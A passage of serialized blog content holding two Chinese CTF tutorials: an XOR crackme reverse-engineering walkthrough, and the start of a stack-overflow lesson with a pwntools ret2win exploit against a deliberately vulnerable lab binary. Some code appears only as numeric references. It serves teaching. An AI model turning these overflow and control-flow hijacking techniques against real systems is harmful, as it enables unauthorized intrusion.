逐字节异或后的密文，硬编码在程序里。\n",[33,5829,5830],{"class":35,"line":1505},[33,5831,5832],{}," int n = strlen(input);\n",[33,5834,5835],{"class":35,"line":1511},[33,5836,5837],{}," // strlen：求输入长度（不含结尾 \\0）。\n",[33,5839,5840],{"class":35,"line":1517},[33,5841,5842],{}," if (n != 24) return 0;\n",[33,5844,5845],{"class":35,"line":1523},[33,5846,5847],{}," // 长度必须是 24，先卡掉大部分错误输入。\n",[33,5849,5850],{"class":35,"line":1529},[33,5851,5852],{}," for (int i = 0; i \u003C n; i++)\n",[33,5854,5855],{"class":35,"line":1535},[33,5856,5857],{}," if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[33,5859,5860],{"class":35,"line":1541},[33,5861,5862],{}," // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[33,5864,5865],{"class":35,"line":2981},[33,5866,5867],{}," // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[33,5869,5870],{"class":35,"line":2987},[33,5871,5872],{}," return 1;\n",[33,5874,5875],{"class":35,"line":2993},[33,5876,5877],{}," // 全部通过才返回 1，main 据此打印 Correct!。\n",[33,5879,5880],{"class":35,"line":2999},[33,5881,1475],{},[33,5883,5884],{"class":35,"line":3005},[33,5885,1460],{"emptyLinePlaceholder":1373},[33,5887,5888],{"class":35,"line":4070},[33,5889,5890],{},"int main(int argc, char **argv) {\n",[33,5892,5893],{"class":35,"line":4076},[33,5894,5895],{}," if (argc != 2) {\n",[33,5897,5898],{"class":35,"line":4081},[33,5899,5900],{}," // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[33,5902,5903],{"class":35,"line":4461},[33,5904,5905],{}," puts(\"Usage: ./crackme \u003Cflag>\");\n",[33,5907,5908],{"class":35,"line":4467},[33,5909,5910],{}," return 1;\n",[33,5912,5913],{"class":35,"line":4473},[33,5914,5915],{}," }\n",[33,5917,5918],{"class":35,"line":4479},[33,5919,5920],{}," if (check(argv[1]))\n",[33,5922,5923],{"class":35,"line":4485},[33,5924,5925],{}," // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[33,5927,5928],{"class":35,"line":4491},[33,5929,5930],{}," puts(\"Correct!\");\n",[33,5932,5933],{"class":35,"line":4497},[33,5934,5935],{}," else\n",[33,5937,5939],{"class":35,"line":5938},35,[33,5940,5941],{}," puts(\"Wrong!\");\n",[33,5943,5945],{"class":35,"line":5944},36,[33,5946,1538],{},[33,5948,5950],{"class":35,"line":5949},37,[33,5951,1475],{},[16,5953,5954],{},"编译（解题时只有二进制，没有源码）：",[23,5956,5958],{"className":25,"code":5957,"language":27,"meta":28,"style":28},"gcc -o crackme crackme.c\n",[30,5959,5960],{"__ignoreMap":28},[33,5961,5962,5964,5966,5969],{"class":35,"line":36},[33,5963,1556],{"class":39},[33,5965,1559],{"class":241},[33,5967,5968],{"class":43}," crackme",[33,5970,5971],{"class":43}," crackme.c\n",[16,5973,5974],{},"运行确认行为：",[23,5976,5978],{"className":25,"code":5977,"language":27,"meta":28,"style":28},"./crackme\n",[30,5979,5980],{"__ignoreMap":28},[33,5981,5982],{"class":35,"line":36},[33,5983,5977],{"class":39},[16,5985,298,5986,301],{},[30,5987,5988],{},"Usage: ./crackme \u003Cflag>",[23,5990,5992],{"className":25,"code":5991,"language":27,"meta":28,"style":28},"./crackme wrongflag123456789012\n",[30,5993,5994],{"__ignoreMap":28},[33,5995,5996,5998],{"class":35,"line":36},[33,5997,1326],{"class":39},[33,5999,6000],{"class":43}," wrongflag123456789012\n",[16,6002,298,6003,301],{},[30,6004,270],{},[11,6006,132],{"id":131},[16,6008,6009,6011],{},[136,6010,138],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[16,6013,6014,561,6016,6018,6019,6021,6022,6024],{},[136,6015,144],{},[30,6017,209],{}," 能看到 ",[30,6020,274],{}," 这样的短密钥（需要 ",[30,6023,278],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[147,6026,6028],{"id":6027},"_31-file","3.1 file",[23,6030,6032],{"className":25,"code":6031,"language":27,"meta":28,"style":28},"file crackme\n",[30,6033,6034],{"__ignoreMap":28},[33,6035,6036,6038],{"class":35,"line":36},[33,6037,163],{"class":39},[33,6039,1178],{"class":43},[16,6041,6042],{},"预期输出（Linux ELF）：",[23,6044,6047],{"className":6045,"code":6046,"language":175,"meta":28},[173],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[30,6048,6046],{"__ignoreMap":28},[16,6050,6051,6053],{},[30,6052,183],{},"：函数名可见。",[147,6055,6057],{"id":6056},"_32-strings","3.2 strings",[16,6059,6060,6061,6063,6064,6066,6067,561],{},"注意：",[30,6062,209],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[30,6065,274],{}," 只有 3 个字符，必须加 ",[30,6068,278],{},[23,6070,6071],{"className":25,"code":1165,"language":27,"meta":28,"style":28},[30,6072,6073],{"__ignoreMap":28},[33,6074,6075,6077,6079,6081],{"class":35,"line":36},[33,6076,209],{"class":39},[33,6078,242],{"class":241},[33,6080,245],{"class":241},[33,6082,1178],{"class":43},[16,6084,169],{},[23,6086,6089],{"className":6087,"code":6088,"language":175,"meta":28},[173],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[30,6090,6088],{"__ignoreMap":28},[16,6092,6093,6095,6096,6099],{},[30,6094,274],{}," 极可能是密钥。",[30,6097,6098],{},"enc"," 数组是二进制数据，strings 显示不出来。",[11,6101,6103],{"id":6102},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[16,6105,6106,6108],{},[136,6107,138],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[16,6110,6111,6113,6114,6116,6117,6120,6121,6123],{},[136,6112,144],{},"：main 里 ",[30,6115,525],{}," 后紧跟 ",[30,6118,6119],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[30,6122,1201],{},"，逆向思路立刻清晰。",[147,6125,353],{"id":352},[23,6127,6129],{"className":25,"code":6128,"language":27,"meta":28,"style":28},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[30,6130,6131],{"__ignoreMap":28},[33,6132,6133,6135,6137,6139,6141,6143,6145,6147,6149,6151,6153,6155],{"class":35,"line":36},[33,6134,365],{"class":39},[33,6136,368],{"class":241},[33,6138,371],{"class":241},[33,6140,374],{"class":43},[33,6142,5968],{"class":43},[33,6144,400],{"class":56},[33,6146,403],{"class":39},[33,6148,406],{"class":241},[33,6150,409],{"class":241},[33,6152,413],{"class":412},[33,6154,416],{"class":43},[33,6156,419],{"class":412},[16,6158,422],{},[23,6160,6162],{"className":425,"code":6161,"language":427,"meta":28,"style":28},"0000000000001189 \u003Cmain>:\n 1191: cmp edi, 0x2\n 1194: jne 0x11a0\n 119e: call 0x1149 \u003Ccheck>\n 11a3: test eax, eax\n 11a5: je 0x11b5\n",[30,6163,6164,6168,6172,6176,6180,6184],{"__ignoreMap":28},[33,6165,6166],{"class":35,"line":36},[33,6167,434],{},[33,6169,6170],{"class":35,"line":47},[33,6171,449],{},[33,6173,6174],{"class":35,"line":70},[33,6175,455],{},[33,6177,6178],{"class":35,"line":80},[33,6179,461],{},[33,6181,6182],{"class":35,"line":452},[33,6183,467],{},[33,6185,6186],{"class":35,"line":458},[33,6187,473],{},[16,6189,6190,6192,6193,301],{},[30,6191,525],{}," 说明判断逻辑在 ",[30,6194,554],{},[147,6196,6198],{"id":6197},"_42-objdump-看-check","4.2 objdump 看 check",[23,6200,6202],{"className":25,"code":6201,"language":27,"meta":28,"style":28},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[30,6203,6204],{"__ignoreMap":28},[33,6205,6206,6208,6210,6212,6214,6216,6218,6220,6222,6225,6227,6229],{"class":35,"line":36},[33,6207,365],{"class":39},[33,6209,368],{"class":241},[33,6211,371],{"class":241},[33,6213,374],{"class":43},[33,6215,5968],{"class":43},[33,6217,400],{"class":56},[33,6219,403],{"class":39},[33,6221,406],{"class":241},[33,6223,6224],{"class":241}," 60",[33,6226,413],{"class":412},[33,6228,611],{"class":43},[33,6230,419],{"class":412},[16,6232,6233],{},"预期会看到循环比较：",[23,6235,6237],{"className":425,"code":6236,"language":427,"meta":28,"style":28},"movzx eax, BYTE PTR [rax] ; input[i]\nxor eax, 0x... ; 与 key 异或\ncmp al, BYTE PTR [rbp-...] ; 与 enc[i] 比较\nje 0x...\n",[30,6238,6239,6244,6249,6254],{"__ignoreMap":28},[33,6240,6241],{"class":35,"line":36},[33,6242,6243],{},"movzx eax, BYTE PTR [rax] ; input[i]\n",[33,6245,6246],{"class":35,"line":47},[33,6247,6248],{},"xor eax, 0x... ; 与 key 异或\n",[33,6250,6251],{"class":35,"line":70},[33,6252,6253],{},"cmp al, BYTE PTR [rbp-...] ; 与 enc[i] 比较\n",[33,6255,6256],{"class":35,"line":80},[33,6257,6258],{},"je 0x...\n",[147,6260,6262],{"id":6261},"_43-ghidra-反编译","4.3 Ghidra 反编译",[16,6264,6265],{},"安装并打开：",[23,6267,6269],{"className":25,"code":6268,"language":27,"meta":28,"style":28},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[30,6270,6271,6281,6291],{"__ignoreMap":28},[33,6272,6273,6275,6277,6279],{"class":35,"line":36},[33,6274,103],{"class":39},[33,6276,106],{"class":43},[33,6278,735],{"class":43},[33,6280,738],{"class":43},[33,6282,6283,6285,6287,6289],{"class":35,"line":47},[33,6284,743],{"class":39},[33,6286,746],{"class":43},[33,6288,750],{"class":749},[33,6290,753],{"class":43},[33,6292,6293,6295,6297,6299,6302,6304,6306,6308,6310,6312,6314],{"class":35,"line":70},[33,6294,758],{"class":39},[33,6296,761],{"class":43},[33,6298,750],{"class":749},[33,6300,6301],{"class":43},".zip",[33,6303,781],{"class":63},[33,6305,771],{"class":770},[33,6307,761],{"class":43},[33,6309,750],{"class":749},[33,6311,778],{"class":43},[33,6313,781],{"class":63},[33,6315,784],{"class":39},[16,6317,6318,6319,301],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[30,6320,554],{},[16,6322,813],{},[23,6324,6325],{"className":816,"code":1211,"language":818,"meta":28,"style":28},[30,6326,6327],{"__ignoreMap":28},[33,6328,6329],{"class":35,"line":36},[33,6330,1211],{},[16,6332,6333],{},"得到逆运算关系：",[23,6335,6338],{"className":6336,"code":6337,"language":175,"meta":28},[173],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[30,6339,6337],{"__ignoreMap":28},[11,6341,847],{"id":846},[23,6343,6345],{"className":25,"code":6344,"language":27,"meta":28,"style":28},"gdb ./crackme\n",[30,6346,6347],{"__ignoreMap":28},[33,6348,6349,6351],{"class":35,"line":36},[33,6350,874],{"class":39},[33,6352,6353],{"class":43}," ./crackme\n",[23,6355,6357],{"className":886,"code":6356,"language":874,"meta":28,"style":28},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[30,6358,6359,6363],{"__ignoreMap":28},[33,6360,6361],{"class":35,"line":36},[33,6362,887],{},[33,6364,6365],{"class":35,"line":47},[33,6366,6367],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[16,6369,169],{},[23,6371,6373],{"className":6372,"code":899,"language":175,"meta":28},[173],[30,6374,899],{"__ignoreMap":28},[23,6376,6378],{"className":886,"code":6377,"language":874,"meta":28,"style":28},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[30,6379,6380],{"__ignoreMap":28},[33,6381,6382],{"class":35,"line":36},[33,6383,6377],{},[16,6385,169],{},[23,6387,6389],{"className":6388,"code":920,"language":175,"meta":28},[173],[30,6390,920],{"__ignoreMap":28},[16,6392,6393],{},"查看 enc 数组（地址在反汇编中确定）：",[23,6395,6397],{"className":886,"code":6396,"language":874,"meta":28,"style":28},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[30,6398,6399,6404],{"__ignoreMap":28},[33,6400,6401],{"class":35,"line":36},[33,6402,6403],{},"(gdb) x/24bx 0x5555555551e0\n",[33,6405,6406],{"class":35,"line":47},[33,6407,6408],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[16,6410,169],{},[23,6412,6415],{"className":6413,"code":6414,"language":175,"meta":28},[173],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[30,6416,6414],{"__ignoreMap":28},[16,6418,6419],{},"与源码中的 enc 数组一致，确认比较逻辑。",[11,6421,6423],{"id":6422},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[16,6425,6426,6428],{},[136,6427,138],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[16,6430,6431,6433,6434,6437,6438,6441,6442,6445],{},[136,6432,144],{},"：因为 ",[30,6435,6436],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[30,6439,6440],{},"key[i%3]"," 得 ",[30,6443,6444],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[23,6447,6449],{"className":1238,"code":6448,"language":1240,"meta":28,"style":28},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n 0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n 0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\" # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[30,6450,6451,6455,6459,6463,6468,6472,6477,6482,6487,6492,6497,6501],{"__ignoreMap":28},[33,6452,6453],{"class":35,"line":36},[33,6454,1247],{},[33,6456,6457],{"class":35,"line":47},[33,6458,1252],{},[33,6460,6461],{"class":35,"line":70},[33,6462,1257],{},[33,6464,6465],{"class":35,"line":80},[33,6466,6467],{},"key = b\"k3y\" # 从 strings -n 3 找到的密钥\n",[33,6469,6470],{"class":35,"line":452},[33,6471,1460],{"emptyLinePlaceholder":1373},[33,6473,6474],{"class":35,"line":458},[33,6475,6476],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[33,6478,6479],{"class":35,"line":464},[33,6480,6481],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[33,6483,6484],{"class":35,"line":470},[33,6485,6486],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[33,6488,6489],{"class":35,"line":476},[33,6490,6491],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[33,6493,6494],{"class":35,"line":482},[33,6495,6496],{},"# bytes([...])：把整数列表转成字节串。\n",[33,6498,6499],{"class":35,"line":1295},[33,6500,1298],{},[33,6502,6503],{"class":35,"line":1301},[33,6504,6505],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[16,6507,4503],{},[23,6509,6511],{"className":25,"code":6510,"language":27,"meta":28,"style":28},"python3 solve.py\n",[30,6512,6513],{"__ignoreMap":28},[33,6514,6515,6517],{"class":35,"line":36},[33,6516,2131],{"class":39},[33,6518,6519],{"class":43}," solve.py\n",[16,6521,2432],{},[23,6523,6525],{"className":6524,"code":1310,"language":175,"meta":28},[173],[30,6526,1310],{"__ignoreMap":28},[16,6528,6529],{},"验证：",[23,6531,6532],{"className":25,"code":1319,"language":27,"meta":28,"style":28},[30,6533,6534],{"__ignoreMap":28},[33,6535,6536,6538],{"class":35,"line":36},[33,6537,1326],{"class":39},[33,6539,1329],{"class":43},[16,6541,2432,6542,301],{},[30,6543,267],{},[11,6545,6547],{"id":6546},"七必学工具","七、必学工具",[490,6549,6550,6561],{},[493,6551,6552],{},[496,6553,6554,6556,6558],{},[499,6555,1047],{},[499,6557,1050],{},[499,6559,6560],{},"命令",[506,6562,6563,6575,6587,6602,6619],{},[496,6564,6565,6567,6570],{},[511,6566,163],{},[511,6568,6569],{},"看类型/是否 stripped",[511,6571,6572],{},[30,6573,6574],{},"file crackme",[496,6576,6577,6579,6582],{},[511,6578,209],{},[511,6580,6581],{},"提取字符串、指定最小长度",[511,6583,6584],{},[30,6585,6586],{},"strings -n 3 crackme",[496,6588,6589,6591,6594],{},[511,6590,365],{},[511,6592,6593],{},"反汇编、看数据段",[511,6595,6596,264,6599],{},[30,6597,6598],{},"objdump -d -M intel crackme",[30,6600,6601],{},"objdump -s -j .rodata crackme",[496,6603,6604,6606,6609],{},[511,6605,1105],{},[511,6607,6608],{},"断点、运行、查看内存",[511,6610,6611,264,6613,264,6616],{},[30,6612,1113],{},[30,6614,6615],{},"run xxx",[30,6617,6618],{},"x/24bx addr",[496,6620,6621,6624,6627],{},[511,6622,6623],{},"Ghidra",[511,6625,6626],{},"反编译伪代码",[511,6628,6629],{},[30,6630,6631],{},"ghidraRun",[11,6633,6635],{"id":6634},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[789,6637,6638,6645,6656,6662],{},[792,6639,6640,6642,6643,301],{},[30,6641,6586],{}," → 找到密钥 ",[30,6644,274],{},[792,6646,6647,6649,6650,6652,6653,301],{},[30,6648,365],{},"/Ghidra → 确认 ",[30,6651,554],{}," 里是 ",[30,6654,6655],{},"input[i] ^ key[i%3] == enc[i]",[792,6657,6658,6659,301],{},"Python 一行异或还原 → ",[30,6660,6661],{},"ctf{reverse_engineering}",[792,6663,6664,6665,301],{},"运行验证 → ",[30,6666,267],{},[11,6668,4651],{"id":4650},[16,6670,6671,6672,6675],{},"XOR CrackMe 的通用解法：",[136,6673,6674],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1350,6677,6678],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":28,"searchDepth":47,"depth":47,"links":6680},[6681,6682,6683,6684,6685,6686,6687,6688,6689],{"id":5750,"depth":70,"text":5751},{"id":5757,"depth":70,"text":5758},{"id":131,"depth":70,"text":132},{"id":6102,"depth":70,"text":6103},{"id":846,"depth":70,"text":847},{"id":6422,"depth":70,"text":6423},{"id":6546,"depth":70,"text":6547},{"id":6634,"depth":70,"text":6635},{"id":4650,"depth":70,"text":4651},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1366,"image":6692,"alt":6693,"tags":6694,"published":1373},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1370,1371,1139,1372],"/blogs/ctf-reverse-crackme-deep-dive",{"title":5745,"description":6690},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":6700,"title":6701,"body":6702,"description":7788,"extension":1364,"meta":7789,"navigation":1373,"ogImage":7790,"path":7794,"seo":7795,"stem":7796,"__hash__":7797},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":8,"value":6703,"toc":7775},[6704,6708,6723,6726,6728,6776,6778,6782,6862,6865,6884,6888,6893,6898,6910,6912,6917,6920,6975,6977,6982,6988,6991,6994,7004,7058,7060,7066,7080,7084,7089,7150,7152,7162,7164,7170,7188,7192,7198,7201,7228,7230,7236,7249,7255,7259,7266,7271,7280,7284,7290,7294,7571,7574,7580,7584,7631,7635,7696,7700,7711,7752,7754,7759,7763,7772],[11,6705,6707],{"id":6706},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[16,6709,6710,264,6712,264,6715,6718,6719,6722],{},[30,6711,1392],{},[30,6713,6714],{},"strcpy",[30,6716,6717],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[30,6720,6721],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[16,6724,6725],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[11,6727,90],{"id":89},[23,6729,6731],{"className":25,"code":6730,"language":27,"meta":28,"style":28},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[30,6732,6733,6743,6755],{"__ignoreMap":28},[33,6734,6735,6737,6739,6741],{"class":35,"line":36},[33,6736,103],{"class":39},[33,6738,106],{"class":43},[33,6740,1417],{"class":43},[33,6742,1420],{"class":43},[33,6744,6745,6747,6749,6752],{"class":35,"line":47},[33,6746,1425],{"class":39},[33,6748,106],{"class":43},[33,6750,6751],{"class":43}," pwntools",[33,6753,6754],{"class":43}," ROPgadget\n",[33,6756,6757,6759,6761,6764,6766,6768,6771,6773],{"class":35,"line":70},[33,6758,3342],{"class":39},[33,6760,3345],{"class":43},[33,6762,6763],{"class":43}," https://github.com/pwndbg/pwndbg",[33,6765,781],{"class":63},[33,6767,771],{"class":770},[33,6769,6770],{"class":43}," pwndbg",[33,6772,781],{"class":63},[33,6774,6775],{"class":39},"./setup.sh\n",[11,6777,1434],{"id":1433},[16,6779,6780,561],{},[30,6781,1440],{},[23,6783,6784],{"className":816,"code":1443,"language":818,"meta":28,"style":28},[30,6785,6786,6790,6794,6798,6802,6806,6810,6814,6818,6822,6826,6830,6834,6838,6842,6846,6850,6854,6858],{"__ignoreMap":28},[33,6787,6788],{"class":35,"line":36},[33,6789,1450],{},[33,6791,6792],{"class":35,"line":47},[33,6793,1455],{},[33,6795,6796],{"class":35,"line":70},[33,6797,1460],{"emptyLinePlaceholder":1373},[33,6799,6800],{"class":35,"line":80},[33,6801,1465],{},[33,6803,6804],{"class":35,"line":452},[33,6805,1470],{},[33,6807,6808],{"class":35,"line":458},[33,6809,1475],{},[33,6811,6812],{"class":35,"line":464},[33,6813,1460],{"emptyLinePlaceholder":1373},[33,6815,6816],{"class":35,"line":470},[33,6817,1484],{},[33,6819,6820],{"class":35,"line":476},[33,6821,1489],{},[33,6823,6824],{"class":35,"line":482},[33,6825,1494],{},[33,6827,6828],{"class":35,"line":1295},[33,6829,1475],{},[33,6831,6832],{"class":35,"line":1301},[33,6833,1460],{"emptyLinePlaceholder":1373},[33,6835,6836],{"class":35,"line":1505},[33,6837,1508],{},[33,6839,6840],{"class":35,"line":1511},[33,6841,1514],{},[33,6843,6844],{"class":35,"line":1517},[33,6845,1520],{},[33,6847,6848],{"class":35,"line":1523},[33,6849,1526],{},[33,6851,6852],{"class":35,"line":1529},[33,6853,1532],{},[33,6855,6856],{"class":35,"line":1535},[33,6857,1538],{},[33,6859,6860],{"class":35,"line":1541},[33,6861,1475],{},[16,6863,6864],{},"编译：",[23,6866,6868],{"className":25,"code":6867,"language":27,"meta":28,"style":28},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[30,6869,6870],{"__ignoreMap":28},[33,6871,6872,6874,6876,6878,6880,6882],{"class":35,"line":36},[33,6873,1556],{"class":39},[33,6875,1559],{"class":241},[33,6877,1562],{"class":43},[33,6879,1565],{"class":43},[33,6881,1568],{"class":241},[33,6883,1571],{"class":241},[11,6885,6887],{"id":6886},"四核心步骤-1checksec","四、核心步骤 1：checksec",[16,6889,6890,6892],{},[136,6891,138],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[16,6894,6895,6897],{},[136,6896,144],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[23,6899,6900],{"className":25,"code":1601,"language":27,"meta":28,"style":28},[30,6901,6902],{"__ignoreMap":28},[33,6903,6904,6906,6908],{"class":35,"line":36},[33,6905,1608],{"class":39},[33,6907,1611],{"class":43},[33,6909,1614],{"class":43},[16,6911,169],{},[23,6913,6915],{"className":6914,"code":1620,"language":175,"meta":28},[173],[30,6916,1620],{"__ignoreMap":28},[16,6918,6919],{},"逐行含义：",[490,6921,6922,6930],{},[493,6923,6924],{},[496,6925,6926,6928],{},[499,6927,4538],{},[499,6929,504],{},[506,6931,6932,6942,6952,6965],{},[496,6933,6934,6939],{},[511,6935,6936],{},[30,6937,6938],{},"No canary found",[511,6940,6941],{},"无栈金丝雀，可覆盖返回地址",[496,6943,6944,6949],{},[511,6945,6946],{},[30,6947,6948],{},"NX enabled",[511,6950,6951],{},"栈不可执行，不能直接放 shellcode",[496,6953,6954,6959],{},[511,6955,6956],{},[30,6957,6958],{},"No PIE",[511,6960,6961,6962,6964],{},"程序地址固定，",[30,6963,1682],{}," 地址可直接写死",[496,6966,6967,6972],{},[511,6968,6969],{},[30,6970,6971],{},"Partial RELRO",[511,6973,6974],{},"GOT 可写（本阶段用不到）",[11,6976,1687],{"id":1686},[16,6978,6979,6981],{},[30,6980,1692],{}," 栈帧自低到高：",[23,6983,6986],{"className":6984,"code":6985,"language":175,"meta":28},[173],"┌──────────────────────┐\n│ buf[32] │ ← gets 写入起点\n├──────────────────────┤\n│ 对齐填充 │\n├──────────────────────┤\n│ saved rbp（8 字节） │\n├──────────────────────┤\n│ 返回地址（8 字节） │ ← 目标\n└──────────────────────┘\n",[30,6987,6985],{"__ignoreMap":28},[16,6989,6990],{},"偏移 = 32 + 8 = 40。",[16,6992,6993],{},"用 pwntools 验证：",[16,6995,6996,561,6998,7000,7001,7003],{},[136,6997,144],{},[30,6999,1705],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[30,7002,2063],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[23,7005,7007],{"className":1238,"code":7006,"language":1240,"meta":28,"style":28},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[30,7008,7009,7013,7017,7021,7025,7030,7034,7039,7043,7048,7053],{"__ignoreMap":28},[33,7010,7011],{"class":35,"line":36},[33,7012,1716],{},[33,7014,7015],{"class":35,"line":47},[33,7016,1460],{"emptyLinePlaceholder":1373},[33,7018,7019],{"class":35,"line":70},[33,7020,1725],{},[33,7022,7023],{"class":35,"line":80},[33,7024,1730],{},[33,7026,7027],{"class":35,"line":452},[33,7028,7029],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[33,7031,7032],{"class":35,"line":458},[33,7033,1745],{},[33,7035,7036],{"class":35,"line":464},[33,7037,7038],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[33,7040,7041],{"class":35,"line":470},[33,7042,1755],{},[33,7044,7045],{"class":35,"line":476},[33,7046,7047],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[33,7049,7050],{"class":35,"line":482},[33,7051,7052],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[33,7054,7055],{"class":35,"line":1295},[33,7056,7057],{},"print(\"offset =\", offset)\n",[16,7059,169],{},[23,7061,7064],{"className":7062,"code":7063,"language":175,"meta":28},[173],"offset = 40\n",[30,7065,7063],{"__ignoreMap":28},[16,7067,7068,7069,7072,7073,7076,7077,7079],{},"原理：",[30,7070,7071],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[30,7074,7075],{},"rip"," 的值必然是模式串中的 4/8 字节，",[30,7078,2063],{}," 返回它在模式串中的位置，即到返回地址的距离。",[11,7081,7083],{"id":7082},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[16,7085,7086,7088],{},[136,7087,138],{},"：把返回地址改成 win，验证控制流劫持成功。",[23,7090,7092],{"className":1238,"code":7091,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 